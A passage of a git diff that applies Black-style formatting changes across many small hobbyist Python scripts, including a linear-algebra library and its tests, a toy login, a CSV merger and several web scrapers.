same size - returns a new vector that represents the sum. + input: other vector + assumes: other vector has the same size + returns a new vector that represents the sum. """ size = self.size() result = [] @@ -120,9 +120,9 @@ def __add__(self, other): def __sub__(self, other): """ - input: other vector - assumes: other vector has the same size - returns a new vector that represents the differenz. + input: other vector + assumes: other vector has the same size + returns a new vector that represents the differenz. """ size = self.size() result = [] @@ -135,14 +135,14 @@ def __sub__(self, other): def __mul__(self, other): """ - mul implements the scalar multiplication - and the dot-product + mul implements the scalar multiplication + and the dot-product """ ans = [] if isinstance(other, float) or isinstance(other, int): for c in self.__components: ans.append(c * other) - elif (isinstance(other, Vector) and (self.size() == other.size())): + elif isinstance(other, Vector) and (self.size() == other.size()): size = self.size() summe = 0 for i in range(size): @@ -154,24 +154,24 @@ def __mul__(self, other): def copy(self): """ - copies this vector and returns it. + copies this vector and returns it. """ components = [x for x in self.__components] return Vector(components) def changeComponent(self, pos, value): """ - input: an index (pos) and a value - changes the specified component (pos) with the - 'value' + input: an index (pos) and a value + changes the specified component (pos) with the + 'value' """ # precondition - assert (pos >= 0 and pos < len(self.__components)) + assert pos >= 0 and pos < len(self.__components) self.__components[pos] = value def norm(self): """ - normalizes this vector and returns it. + normalizes this vector and returns it. """ eLength = self.eulidLength() quotient = 1.0 / eLength @@ -181,11 +181,11 @@ def norm(self): def __eq__(self, other): """ - returns true if the vectors are equal otherwise false. + returns true if the vectors are equal otherwise false. """ ans = True SIZE = self.size() - if (SIZE == other.size()): + if SIZE == other.size(): for i in range(SIZE): if self.__components[i] != other.component(i): ans = False @@ -197,10 +197,10 @@ def __eq__(self, other): def zeroVector(dimension): """ - returns a zero-vector of size 'dimension' + returns a zero-vector of size 'dimension' """ # precondition - assert (isinstance(dimension, int)) + assert isinstance(dimension, int) ans = [] for i in range(dimension): ans.append(0) @@ -209,11 +209,11 @@ def zeroVector(dimension): def unitBasisVector(dimension, pos): """ - returns a unit basis vector with a One - at index 'pos' (indexing at 0) + returns a unit basis vector with a One + at index 'pos' (indexing at 0) """ # precondition - assert (isinstance(dimension, int) and (isinstance(pos, int))) + assert isinstance(dimension, int) and (isinstance(pos, int)) ans = [] for i in range(dimension): if i != pos: @@ -225,22 +225,25 @@ def unitBasisVector(dimension, pos): def axpy(scalar, x, y): """ - input: a 'scalar' and two vectors 'x' and 'y' - output: a vector - computes the axpy operation + input: a 'scalar' and two vectors 'x' and 'y' + output: a vector + computes the axpy operation """ # precondition - assert (isinstance(x, Vector) and (isinstance(y, Vector)) \ - and (isinstance(scalar, int) or isinstance(scalar, float))) - return (x * scalar + y) + assert ( + isinstance(x, Vector) + and (isinstance(y, Vector)) + and (isinstance(scalar, int) or isinstance(scalar, float)) + ) + return x * scalar + y def randomVector(N, a, b): """ - input: size (N) of the vector. - random range (a,b) - output: returns a random vector of size N, with - random integer components between 'a' and 'b'. + input: size (N) of the vector. + random range (a,b) + output: returns a random vector of size N, with + random integer components between 'a' and 'b'. """ ans = zeroVector(N) random.seed(None) @@ -253,10 +256,10 @@ class Matrix(object): """ class: Matrix This class represents a arbitrary matrix. - + Overview about the methods: - - __str__() : returns a string representation + + __str__() : returns a string representation operator * : implements the matrix vector multiplication implements the matrix-scalar multiplication. changeComponent(x,y,value) : changes the specified component. @@ -269,8 +272,8 @@ class Matrix(object): def __init__(self, matrix, w, h): """ - simple constructor for initialzes - the matrix with components. + simple constructor for initialzes + the matrix with components. """ self.__matrix = matrix self.__width = w @@ -278,8 +281,8 @@ def __init__(self, matrix, w, h): def __str__(self): """ - returns a string representation of this - matrix. + returns a string representation of this + matrix. """ ans = "" for i in range(self.__height): @@ -293,7 +296,7 @@ def __str__(self): def changeComponent(self, x, y, value): """ - changes the x-y component of this matrix + changes the x-y component of this matrix """ if x >= 0 and x < self.__height and y >= 0 and y < self.__width: self.__matrix[x][y] = value @@ -302,7 +305,7 @@ def changeComponent(self, x, y, value): def component(self, x, y): """ - returns the specified (x,y) component + returns the specified (x,y) component """ if x >= 0 and x < self.__height and y >= 0 and y < self.__width: return self.__matrix[x][y] @@ -311,23 +314,23 @@ def component(self, x, y): def width(self): """ - getter for the width + getter for the width """ return self.__width def height(self): """ - getter for the height + getter for the height """ return self.__height def __mul__(self, other): """ - implements the matrix-vector multiplication. - implements the matrix-scalar multiplication + implements the matrix-vector multiplication. + implements the matrix-scalar multiplication """ - if isinstance(other, Vector): # vector-matrix - if (other.size() == self.__width): + if isinstance(other, Vector): # vector-matrix + if other.size() == self.__width: ans = zeroVector(self.__height) for i in range(self.__height): summe = 0 @@ -337,8 +340,10 @@ def __mul__(self, other): summe = 0 return ans else: - raise Exception("vector must have the same size as the " - + "number of columns of the matrix!") + raise Exception( + "vector must have the same size as the " + + "number of columns of the matrix!" + ) elif isinstance(other, int) or isinstance(other, float): # matrix-scalar matrix = [] for i in range(self.__height): @@ -350,9 +355,9 @@ def __mul__(self, other): def __add__(self, other): """ - implements the matrix-addition. + implements the matrix-addition. """ - if (self.__width == other.width() and self.__height == other.height()): + if self.__width == other.width() and self.__height == other.height(): matrix = [] for i in range(self.__height): row = [] @@ -365,9 +370,9 @@ def __add__(self, other): def __sub__(self, other): """ - implements the matrix-subtraction. + implements the matrix-subtraction. """ - if (self.__width == other.width() and self.__height == other.height()): + if self.__width == other.width() and self.__height == other.height(): matrix = [] for i in range(self.__height): row = [] @@ -380,7 +385,7 @@ def __sub__(self, other): def __eq__(self, other): """ - returns true if the matrices are equal otherwise false. + returns true if the matrices are equal otherwise false. """ ans = True if self.__width == other.width() and self.__height == other.height(): @@ -396,7 +401,7 @@ def __eq__(self, other): def squareZeroMatrix(N): """ - returns a square zero-matrix of dimension NxN + returns a square zero-matrix of dimension NxN """ ans = [] for i in range(N): @@ -409,8 +414,8 @@ def squareZeroMatrix(N): def randomMatrix(W, H, a, b): """ - returns a random matrix WxH with integer components - between 'a' and 'b' + returns a random matrix WxH with integer components + between 'a' and 'b' """ matrix = [] random.seed(None) diff --git a/linear-algebra-python/src/tests.py b/linear-algebra-python/src/tests.py index 07fc9cc7fa0..38e4a627c2d 100644 --- a/linear-algebra-python/src/tests.py +++ b/linear-algebra-python/src/tests.py @@ -17,7 +17,7 @@ class Test(unittest.TestCase): def test_component(self): """ - test for method component + test for method component """ x = Vector([1, 2, 3]) self.assertEqual(x.component(0), 1) @@ -30,28 +30,28 @@ def test_component(self): def test_str(self): """ - test for toString() method + test for toString() method """ x = Vector([0, 0, 0, 0, 0, 1]) self.assertEqual(x.__str__(), "(0,0,0,0,0,1)") def test_size(self): """ - test for size()-method + test for size()-method """ x = Vector([1, 2, 3, 4]) self.assertEqual(x.size(), 4) def test_euclidLength(self): """ - test for the eulidean length + test for the eulidean length """ x = Vector([1, 2]) self.assertAlmostEqual(x.eulidLength(), 2.236, 3) def test_add(self): """ - test for + operator + test for + operator """ x = Vector([1, 2, 3]) y = Vector([1, 1, 1]) @@ -61,7 +61,7 @@ def test_add(self): def test_sub(self): """ - test for - operator + test for - operator """ x = Vector([1, 2, 3]) y = Vector([1, 1, 1]) @@ -71,7 +71,7 @@ def test_sub(self): def test_mul(self): """ - test for * operator + test for * operator """ x = Vector([1, 2, 3]) a = Vector([2, -1, 4]) # for test of dot-product @@ -81,19 +81,19 @@ def test_mul(self): def test_zeroVector(self): """ - test for the global function zeroVector(...) + test for the global function zeroVector(...) """ self.assertTrue(zeroVector(10).__str__().count("0") == 10) def test_unitBasisVector(self): """ - test for the global function unitBasisVector(...) + test for the global function unitBasisVector(...) """ self.assertEqual(unitBasisVector(3, 1).__str__(), "(0,1,0)") def test_axpy(self): """ - test for the global function axpy(...) (operation) + test for the global function axpy(...) (operation) """ x = Vector([1, 2, 3]) y = Vector([1, 0, 1]) @@ -101,7 +101,7 @@ def test_axpy(self): def test_copy(self): """ - test for the copy()-method + test for the copy()-method """ x = Vector([1, 0, 0, 0, 0, 0]) y = x.copy() @@ -109,7 +109,7 @@ def test_copy(self): def test_changeComponent(self): """ - test for the changeComponent(...)-method + test for the changeComponent(...)-method """ x = Vector([1, 0, 0]) x.changeComponent(0, 0) @@ -146,8 +146,10 @@ def test__sub__matrix(self): self.assertEqual("|0,0,-4|\n|0,0,0|\n|0,0,-2|\n", (A - B).__str__()) def test_squareZeroMatrix(self): - self.assertEqual('|0,0,0,0,0|\n|0,0,0,0,0|\n|0,0,0,0,0|\n|0,0,0,0,0|' - + '\n|0,0,0,0,0|\n', squareZeroMatrix(5).__str__()) + self.assertEqual( + "|0,0,0,0,0|\n|0,0,0,0,0|\n|0,0,0,0,0|\n|0,0,0,0,0|" + "\n|0,0,0,0,0|\n", + squareZeroMatrix(5).__str__(), + ) def test_norm_vector(self): x = Vector([1, 2, 3]) diff --git a/live_sketch.py b/live_sketch.py index 663971d154c..e4316e19fc5 100644 --- a/live_sketch.py +++ b/live_sketch.py @@ -13,7 +13,7 @@ def sketch(image): while True: ret, frame = cap.read() - cv2.imshow('Our Live Sketcher', sketch(frame)) + cv2.imshow("Our Live Sketcher", sketch(frame)) if cv2.waitKey(1) == 13: break diff --git a/loader.py b/loader.py index bf365e7d221..7ce80fef603 100644 --- a/loader.py +++ b/loader.py @@ -15,15 +15,18 @@ def animate(message="loading", endmessage="Done!"): - for c in itertools.cycle(['|', '/', '-', '\\']): + for c in itertools.cycle(["|", "/", "-", "\\"]): if done: break - sys.stdout.write(f'\r {message}' + c) + sys.stdout.write(f"\r {message}" + c) sys.stdout.flush() time.sleep(0.1) - sys.stdout.write(f'\r {endmessage} ') + sys.stdout.write(f"\r {endmessage} ") -t = threading.Thread(target=lambda: animate(message="installing..",endmessage="Installation is done!!!")) + +t = threading.Thread( + target=lambda: animate(message="installing..", endmessage="Installation is done!!!") +) t.start() # Code which you are running diff --git a/login.py b/login.py index 667d3d4000b..791c1d94247 100644 --- a/login.py +++ b/login.py @@ -1,7 +1,8 @@ import os from getpass import getpass -#Devloped By Black_angel -#This is Logo Function + +# Devloped By Black_angel +# This is Logo Function def logo(): print(" ──────────────────────────────────────────────────────── ") print(" | | ") @@ -16,30 +17,34 @@ def logo(): print(" \033[1;91m| || Digital Information Security Helper Assistant || | ") print(" | | ") print(" ──────────────────────────────────────────────────────── ") - print('\033[1;36;49m') -#This is Login Funtion + print("\033[1;36;49m") + + +# This is Login Funtion def login(): - #for clear the screen - os.system('clear') - print('\033[1;36;49m') + # for clear the screen + os.system("clear") + print("\033[1;36;49m") logo() - print('\033[1;36;49m') + print("\033[1;36;49m") print("") usr = input("Enter your Username : ") - #This is username you can change here - usr1 ="raj" + # This is username you can change here + usr1 = "raj" psw = getpass("Enter Your Password : ") - #This is Password you can change here - psw1 ="5898" - if(usr == usr1 and psw == psw1): - print('\033[1;92mlogin successfully') - os.system('clear') - print('\033[1;36;49m') + # This is Password you can change here + psw1 = "5898" + if usr == usr1 and psw == psw1: + print("\033[1;92mlogin successfully") + os.system("clear") + print("\033[1;36;49m") logo() else: - print('\033[1;91m Wrong') - + print("\033[1;91m Wrong") + login() -#This is main function -if __name__=="__main__": + + +# This is main function +if __name__ == "__main__": login() diff --git a/logs.py b/logs.py index e770185bbc5..37519f55011 100644 --- a/logs.py +++ b/logs.py @@ -17,8 +17,11 @@ for files in os.listdir(logsdir): # Find all the files in the directory if files.endswith(".log"): # Check to ensure the files in the directory end in .log - files1 = files + "." + strftime( - "%Y-%m-%d") + ".zip" # Create the Variable files1, this is the files in the directory, then we add a suffix with the date and the zip extension + files1 = ( + files + "." + strftime("%Y-%m-%d") + ".zip" + ) # Create the Variable files1, this is the files in the directory, then we add a suffix with the date and the zip extension os.chdir(logsdir) # Change directory to the logsdir - os.system(zip_program + " " + files1 + " " + files) # Zip the logs into dated zip files for each server. - 1.1 + os.system( + zip_program + " " + files1 + " " + files + ) # Zip the logs into dated zip files for each server. - 1.1 os.remove(files) # Remove the original log files diff --git a/longest_increasing_subsequence_length.py b/longest_increasing_subsequence_length.py index b80984418b6..a2244cffdf5 100644 --- a/longest_increasing_subsequence_length.py +++ b/longest_increasing_subsequence_length.py @@ -1,22 +1,23 @@ -''' +""" Author- DIWAKAR JAISWAL find lenth Longest increasing subsequence of given array. -''' +""" def lis(a): - n=len(a) - #initialize ans array same lenth as 1 - ans=[1]*n - for i in range(1,n): - #now compare with first index to that index - for j in range(i): - if a[i]>a[j] and ans[i] a[j] and ans[i] < ans[j] + 1: + ans[i] = ans[j] + 1 + return max(ans) -a=[1,3,2,6,4] -#longest increasing subsequence=[{1<3<6},{1<3<4},{1<2<6},{1<2<4}] length is 3 +a = [1, 3, 2, 6, 4] -print("Maximum Length of longest increasing subsequence ",lis(a)) +# longest increasing subsequence=[{1<3<6},{1<3<4},{1<2<6},{1<2<4}] length is 3 + +print("Maximum Length of longest increasing subsequence ", lis(a)) diff --git a/love_turtle.py b/love_turtle.py index 01e31df6195..82e0217205b 100644 --- a/love_turtle.py +++ b/love_turtle.py @@ -1,7 +1,8 @@ import turtle -t= turtle.Turtle() + +t = turtle.Turtle() turtle.title("I Love You") -screen= turtle.Screen() +screen = turtle.Screen() screen.bgcolor("white") t.color("red") t.begin_fill() @@ -11,10 +12,9 @@ t.forward(180) t.circle(-90, 200) -t.setheading(60) # t.left +t.setheading(60) # t.left t.circle(-90, 200) t.forward(180) t.end_fill() t.hideturtle() - diff --git a/magic8ball.py b/magic8ball.py index 933fbf53a86..1ce9dc39a69 100644 --- a/magic8ball.py +++ b/magic8ball.py @@ -1,26 +1,49 @@ import random -responses = ['It is certain','It is decidedly so','Without a doubt','Yes definitely ','You may rely on it','As I see it, yes','Most likely ','Outlook good','Yes','Signs point to yes','Do not count on it','My reply is no',' My sources say no',' Outlook not so good','Very doubtful', 'Reply hazy try again','Ask again later','Better not tell you now ','Cannot predict now ','Concentrate and ask again'] +responses = [ + "It is certain", + "It is decidedly so", + "Without a doubt", + "Yes definitely ", + "You may rely on it", + "As I see it, yes", + "Most likely ", + "Outlook good", + "Yes", + "Signs point to yes", + "Do not count on it", + "My reply is no", + " My sources say no", + " Outlook not so good", + "Very doubtful", + "Reply hazy try again", + "Ask again later", + "Better not tell you now ", + "Cannot predict now ", + "Concentrate and ask again", +] print("Hi! I am the magic 8 ball, what's your name?") name = input() -print("Hello!"+ name) +print("Hello!" + name) + def magic8Ball(): print("Whay's your question? ") question = input() - answer = responses[random.randint(0,len(responses)-1)] + answer = responses[random.randint(0, len(responses) - 1)] print(answer) tryAgain() def tryAgain(): - print("Do you wanna ask any more questions? press Y for yes and any other key to exit ") + print( + "Do you wanna ask any more questions? press Y for yes and any other key to exit " + ) x = input() - if(x in ['Y', 'y'] ): + if x in ["Y", "y"]: magic8Ball() else: exit() - -magic8Ball() \ No newline at end of file +magic8Ball() diff --git a/main.py b/main.py index d872872fa8c..7eeb1845114 100644 --- a/main.py +++ b/main.py @@ -11,7 +11,7 @@ sum = float (a) + int (b) print(sum) """ -student = 'ANKITASDFAHBVGASDNDSDNBFCZCXCNIGL' +student = "ANKITASDFAHBVGASDNDSDNBFCZCXCNIGL" print(student.lower()) -print(student.find('ASDF')) +print(student.find("ASDF")) diff --git a/mapit.py b/mapit.py index 1d0f87feac4..53d0cd61014 100644 --- a/mapit.py +++ b/mapit.py @@ -1,9 +1,10 @@ -import sys,webbrowser,pyperclip -if len(sys.argv)>1: - address = ' '.join(sys.argv[1:]) +import sys, webbrowser, pyperclip -elif len(pyperclip.paste())> 2: +if len(sys.argv) > 1: + address = " ".join(sys.argv[1:]) + +elif len(pyperclip.paste()) > 2: address = pyperclip.paste() else: address = input("enter your palce") -webbrowser.open('https://www.google.com/maps/place/'+address) +webbrowser.open("https://www.google.com/maps/place/" + address) diff --git a/meme_maker.py b/meme_maker.py index f7a622847dd..7cb4b550701 100644 --- a/meme_maker.py +++ b/meme_maker.py @@ -4,19 +4,19 @@ def input_par(): - print('Enter the text to insert in image: ') + print("Enter the text to insert in image: ") text = str(input()) - print('Enter the desired size of the text: ') + print("Enter the desired size of the text: ") size = int(input()) - print('Enter the color for the text(r, g, b): ') - color_value = [int(i) for i in input().split(' ')] + print("Enter the color for the text(r, g, b): ") + color_value = [int(i) for i in input().split(" ")] return text, size, color_value pass def main(): path_to_image = sys.argv[1] - image_file = Image.open(path_to_image + '.jpg') + image_file = Image.open(path_to_image + ".jpg") image_file = image_file.convert("RGBA") pixdata = image_file.load() @@ -27,7 +27,7 @@ def main(): font = ImageFont.truetype("C:\\Windows\\Fonts\\Arial.ttf", size=size) # If the color of the text is not equal to white,then change the background to be white - if ((color_value[0] and color_value[1] and color_value[2]) != 255): + if (color_value[0] and color_value[1] and color_value[2]) != 255: for y in range(100): for x in range(100): pixdata[x, y] = (255, 255, 255, 255) @@ -40,14 +40,16 @@ def main(): # Drawing text on the picture draw = ImageDraw.Draw(image_file) - draw.text((0, 2300), text, (color_value[0], color_value[1], color_value[2]), font=font) + draw.text( + (0, 2300), text, (color_value[0], color_value[1], color_value[2]), font=font + ) draw = ImageDraw.Draw(image_file) - print('Enter the file name: ') + print("Enter the file name: ") file_name = str(input()) image_file.save(file_name + ".jpg") pass -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/memorygame.py b/memorygame.py index cc532febcc7..9266a2cd54e 100644 --- a/memorygame.py +++ b/memorygame.py @@ -2,42 +2,47 @@ from turtle import * from freegames import path -car = path('car.gif') +car = path("car.gif") tiles = list(range(32)) * 2 -state = {'mark': None} +state = {"mark": None} hide = [True] * 64 + def square(x, y): "Draw white square with black outline at (x, y)." up() goto(x, y) down() - color('black', 'white') + color("black", "white") begin_fill() for count in range(4): forward(50) left(90) end_fill() + def index(x, y): "Convert (x, y) coordinates to tiles index." return int((x + 200) // 50 + ((y + 200) // 50) * 8) + def xy(count): "Convert tiles count to (x, y) coordinates." return (count % 8) * 50 - 200, (count // 8) * 50 - 200 + def tap(x, y): "Update mark and hidden tiles based on tap." spot = index(x, y) - mark = state['mark'] + mark = state["mark"] if mark is None or mark == spot or tiles[mark] != tiles[spot]: - state['mark'] = spot + state["mark"] = spot else: hide[spot] = False hide[mark] = False - state['mark'] = None + state["mark"] = None + def draw(): "Draw image and tiles." @@ -51,18 +56,19 @@ def draw(): x, y = xy(count) square(x, y) - mark = state['mark'] + mark = state["mark"] if mark is not None and hide[mark]: x, y = xy(mark) up() goto(x + 2, y) - color('black') - write(tiles[mark], font=('Arial', 30, 'normal')) + color("black") + write(tiles[mark], font=("Arial", 30, "normal")) update() ontimer(draw, 100) + shuffle(tiles) setup(420, 420, 370, 0) addshape(car) diff --git a/merge.py b/merge.py index a2557b0a80e..424cf1e0527 100644 --- a/merge.py +++ b/merge.py @@ -7,7 +7,7 @@ # -*- coding=utf-8 -*- # define the result filename -resultfile = 'result.csv' +resultfile = "result.csv" # the merge func @@ -18,27 +18,31 @@ def merge(): global resultfile # use list save the csv files - csvfiles = [f for f in os.listdir('.') if f != resultfile \ - and (len(f.split('.')) >= 2) and f.split('.')[1] == 'csv'] + csvfiles = [ + f + for f in os.listdir(".") + if f != resultfile and (len(f.split(".")) >= 2) and f.split(".")[1] == "csv" + ] # open file to write - with open(resultfile, 'w') as writefile: + with open(resultfile, "w") as writefile: for csvfile in csvfiles: with open(csvfile) as readfile: - print('File {} readed.'.format(csvfile)) + print("File {} readed.".format(csvfile)) # do the read and write - writefile.write(readfile.read() + '\n') - print('\nFile {} wrote.'.format(resultfile)) + writefile.write(readfile.read() + "\n") + print("\nFile {} wrote.".format(resultfile)) # the main program + def main(): print("\t\tMerge\n\n") print("This program merges csv-files to one file\n") merge() -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/missing number from list.py b/missing number from list.py index f1911c39033..bf7526f26d8 100644 --- a/missing number from list.py +++ b/missing number from list.py @@ -1,8 +1,10 @@ -#program to find a missing number from a list. +# program to find a missing number from a list. + def missing_number(num_list): - return sum(range(num_list[0],num_list[-1]+1)) - sum(num_list) + return sum(range(num_list[0], num_list[-1] + 1)) - sum(num_list) + -print(missing_number([1,2,3,4,6,7,8])) +print(missing_number([1, 2, 3, 4, 6, 7, 8])) -print(missing_number([10,11,12,14,15,16,17])) +print(missing_number([10, 11, 12, 14, 15, 16, 17])) diff --git a/mobilePhoneSpecsScrapper.py b/mobilePhoneSpecsScrapper.py index 5c3956fe302..1578942f8dc 100644 --- a/mobilePhoneSpecsScrapper.py +++ b/mobilePhoneSpecsScrapper.py @@ -1,23 +1,24 @@ import requests from bs4 import BeautifulSoup + # import csv import os + # import time import json -class Phonearena(): - +class Phonearena: def __init__(self): self.phones = [] self.features = ["Brand", "Model Name", "Model Image"] self.temp1 = [] self.phones_brands = [] - self.url = 'https://www.phonearena.com/phones/' # GSMArena website url + self.url = "https://www.phonearena.com/phones/" # GSMArena website url # Folder name on which files going to save. - self.new_folder_name = 'GSMArenaDataset' + self.new_folder_name = "GSMArenaDataset" # It create the absolute path of the GSMArenaDataset folder. - self.absolute_path = os.getcwd().strip() + '/' + self.new_folder_name + self.absolute_path = os.getcwd().strip() + "/" + self.new_folder_name def crawl_html_page(self, sub_url): @@ -27,7 +28,7 @@ def crawl_html_page(self, sub_url): try: page = requests.get(url) # It parses the html data from requested url. - soup = BeautifulSoup(page.text, 'html.parser') + soup = BeautifulSoup(page.text, "html.parser") return soup except ConnectionError as err: @@ -41,12 +42,12 @@ def crawl_html_page(self, sub_url): def crawl_phone_urls(self): phones_urls = [] for i in range(1, 238): # Right now they have 237 page of phone data. - print(self.url+"page/"+str(i)) - soup = self.crawl_html_page(self.url+"page/"+str(i)) + print(self.url + "page/" + str(i)) + soup = self.crawl_html_page(self.url + "page/" + str(i)) table = soup.findAll("div", {"class": "stream-item"}) - table_a = [k.find('a') for k in table] + table_a = [k.find("a") for k in table] for a in table_a: - temp = a['href'] + temp = a["href"] phones_urls.append(temp) return phones_urls @@ -56,13 +57,13 @@ def crawl_phones_models_specification(self, li): print(link) try: soup = self.crawl_html_page(link) - model = soup.find( - class_='page__section page__section_quickSpecs') + model = soup.find(class_="page__section page__section_quickSpecs") model_name = model.find("header").h1.text - model_img_html = model.find(class_='head-image') - model_img = model_img_html.find('img')['data-src'] + model_img_html = model.find(class_="head-image") + model_img = model_img_html.find("img")["data-src"] specs_html = model.find( - class_="phone__section phone__section_widget_quickSpecs") + class_="phone__section phone__section_widget_quickSpecs" + ) release_date = specs_html.find(class_="calendar") release_date = release_date.find(class_="title").p.text display = specs_html.find(class_="display") @@ -85,9 +86,9 @@ def crawl_phones_models_specification(self, li): "hardware": hardware, "storage": storage, "battery": battery, - "os": os + "os": os, } - with open(obj.absolute_path+'-PhoneSpecs.json', 'w+') as of: + with open(obj.absolute_path + "-PhoneSpecs.json", "w+") as of: json.dump(phone_data, of) except Exception as error: print(f"Exception happened : {error}") @@ -100,7 +101,7 @@ def crawl_phones_models_specification(self, li): try: # Step 1: Scrape links to all the individual phone specs page and save it so that we don't need to run it again. phone_urls = obj.crawl_phone_urls() - with open(obj.absolute_path+'-Phoneurls.json', 'w') as of: + with open(obj.absolute_path + "-Phoneurls.json", "w") as of: json.dump(phone_urls, of) # Step 2: Iterate through all the links from the above execution and run the next command diff --git a/move_files_over_x_days.py b/move_files_over_x_days.py index 9cbb6b0567e..50b13762024 100644 --- a/move_files_over_x_days.py +++ b/move_files_over_x_days.py @@ -3,7 +3,7 @@ # Created : 8th December 2011 # Last Modified : 25 December 2017 # Version : 1.1 -# Modifications : Added possibility to use command line arguments to specify source, destination, and days. +# Modifications : Added possibility to use command line arguments to specify source, destination, and days. # Description : This will move all the files from the src directory that are over 240 days old to the destination directory. import argparse @@ -11,16 +11,34 @@ import shutil import time -usage = 'python move_files_over_x_days.py -src [SRC] -dst [DST] -days [DAYS]' -description = 'Move files from src to dst if they are older than a certain number of days. Default is 240 days' +usage = "python move_files_over_x_days.py -src [SRC] -dst [DST] -days [DAYS]" +description = "Move files from src to dst if they are older than a certain number of days. Default is 240 days" args_parser = argparse.ArgumentParser(usage=usage, description=description) -args_parser.add_argument('-src', '--src', type=str, nargs='?', default='.', - help='(OPTIONAL) Directory where files will be moved from. Defaults to current directory') -args_parser.add_argument('-dst', '--dst', type=str, nargs='?', required=True, - help='(REQUIRED) Directory where files will be moved to.') -args_parser.add_argument('-days', '--days', type=int, nargs='?', default=240, - help='(OPTIONAL) Days value specifies the minimum age of files to be moved. Default is 240.') +args_parser.add_argument( + "-src", + "--src", + type=str, + nargs="?", + default=".", + help="(OPTIONAL) Directory where files will be moved from. Defaults to current directory", +) +args_parser.add_argument( + "-dst", + "--dst", + type=str, + nargs="?", + required=True, + help="(REQUIRED) Directory where files will be moved to.", +) +args_parser.add_argument( + "-days", + "--days", + type=int, + nargs="?", + default=240, + help="(OPTIONAL) Days value specifies the minimum age of files to be moved. Default is 240.", +) args = args_parser.parse_args() if args.days < 0: @@ -35,6 +53,8 @@ os.mkdir(dst) for f in os.listdir(src): # Loop through all the files in the source directory - if os.stat(f).st_mtime < now - days * 86400: # Work out how old they are, if they are older than 240 days old + if ( + os.stat(f).st_mtime < now - days * 86400 + ): # Work out how old they are, if they are older than 240 days old if os.path.isfile(f): # Check it's a file shutil.move(f, dst) # Move the files diff --git a/movie_details.py b/movie_details.py index b88daf458d6..3bde64d1f0a 100644 --- a/movie_details.py +++ b/movie_details.py @@ -9,42 +9,52 @@ # Disable loading robots.txt browser.set_handle_robots(False) -browser.addheaders = [('User-agent', - 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;)')] +browser.addheaders = [("User-agent", "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;)")] movie_title = input("Enter movie title: ") -movie_types = ('feature', 'tv_movie', 'tv_series', 'tv_episode', 'tv_special', - 'tv_miniseries', 'documentary', 'video_game', 'short', 'video', 'tv_short') +movie_types = ( + "feature", + "tv_movie", + "tv_series", + "tv_episode", + "tv_special", + "tv_miniseries", + "documentary", + "video_game", + "short", + "video", + "tv_short", +) # Navigate -browser.open('http://www.imdb.com/search/title') +browser.open("http://www.imdb.com/search/title") # Choose a form browser.select_form(nr=1) -browser['title'] = movie_title +browser["title"] = movie_title # Check all the boxes of movie types for m_type in movie_types: - browser.find_control(type='checkbox', nr=0).get(m_type).selected = True + browser.find_control(type="checkbox", nr=0).get(m_type).selected = True # Submit fd = browser.submit() -soup = BeautifulSoup(fd.read(), 'html5lib') +soup = BeautifulSoup(fd.read(), "html5lib") # Updated from td tag to h3 tag -for div in soup.findAll('h3', {'class': 'lister-item-header'}, limit=1): - a = div.findAll('a')[0] - hht = 'http://www.imdb.com' + a.attrs['href'] +for div in soup.findAll("h3", {"class": "lister-item-header"}, limit=1): + a = div.findAll("a")[0] + hht = "http://www.imdb.com" + a.attrs["href"] print(hht) page = urllib.request.urlopen(hht) - soup2 = BeautifulSoup(page.read(), 'html.parser') + soup2 = BeautifulSoup(page.read(), "html.parser") find = soup2.find - print("Title: " + find(itemprop='name').get_text().strip()) - print("Duration: " + find(itemprop='duration').get_text().strip()) - print("Director: " + find(itemprop='director').get_text().strip()) - print("Genre: " + find(itemprop='genre').get_text().strip()) - print("IMDB rating: " + find(itemprop='ratingValue').get_text().strip()) - print("Summary: " + find(itemprop='description').get_text().strip()) + print("Title: " + find(itemprop="name").get_text().strip()) + print("Duration: " + find(itemprop="duration").get_text().strip()) + print("Director: " + find(itemprop="director").get_text().strip()) + print("Genre: " + find(itemprop="genre").get_text().strip()) + print("IMDB rating: " + find(itemprop="ratingValue").get_text().strip()) + print("Summary: " + find(itemprop="description").get_text().strip()) diff --git a/multiplication_table.py b/multiplication_table.py index 0f4ed16373c..9ca29e66681 100644 --- a/multiplication_table.py +++ b/multiplication_table.py @@ -1,19 +1,30 @@ from sys import argv # import argment variable -script, rows, columns = argv # define rows and columns for the table and assign them to the argument variable +( + script, + rows, + columns, +) = argv # define rows and columns for the table and assign them to the argument variable def table(rows, columns): - for i in range(1, int( - rows) + 1): # it's safe to assume that the user would mean 12 rows when they provide 12 as an argument, b'coz 12 will produce 11 rows - print("\t", i, ) + for i in range( + 1, int(rows) + 1 + ): # it's safe to assume that the user would mean 12 rows when they provide 12 as an argument, b'coz 12 will produce 11 rows + print( + "\t", + i, + ) print("\n\n") # add 3 lines for i in range(1, int(columns) + 1): print(i), for j in range(1, int(rows) + 1): - print("\t", i * j, ) + print( + "\t", + i * j, + ) print("\n\n") # add 3 lines diff --git a/nasa_apod_with_requests/run.py b/nasa_apod_with_requests/run.py index 2fcde72b8ce..4d8048d022c 100644 --- a/nasa_apod_with_requests/run.py +++ b/nasa_apod_with_requests/run.py @@ -5,8 +5,8 @@ date = input("Enter date(YYYY-MM-DD): ") r = requests.get(f"https://api.nasa.gov/planetary/apod?api_key={key}&date={date}") parsed = r.json() -title = parsed['title'] -url = parsed['hdurl'] +title = parsed["title"] +url = parsed["hdurl"] print(f"{title}: {url}") img_ = requests.get(url, stream=True) @@ -14,11 +14,15 @@ print(img_.headers["content-type"], img_.headers["content-length"]) content_type = img_.headers["content-type"] -if (img_.status_code == 200 and (content_type == "image/jpeg" or content_type == "image/gif" or content_type == "image/png")): - ext = img_.headers["content-type"][6:] - if (not os.path.exists ("img/")): - os.mkdir("img/") - path = f"img/apod_{date}.{ext}" - with open(path, "wb") as f: - for chunk in img_: - f.write(chunk) \ No newline at end of file +if img_.status_code == 200 and ( + content_type == "image/jpeg" + or content_type == "image/gif" + or content_type == "image/png" +): + ext = img_.headers["content-type"][6:] + if not os.path.exists("img/"): + os.mkdir("img/") + path = f"img/apod_{date}.{ext}" + with open(path, "wb") as f: + for chunk in img_: + f.write(chunk) diff --git a/nasa_apod_with_requests/settings.py b/nasa_apod_with_requests/settings.py index 2e30b6d3fc8..58e553f4323 100644 --- a/nasa_apod_with_requests/settings.py +++ b/nasa_apod_with_requests/settings.py @@ -1 +1 @@ -key = "" \ No newline at end of file +key = "" diff --git 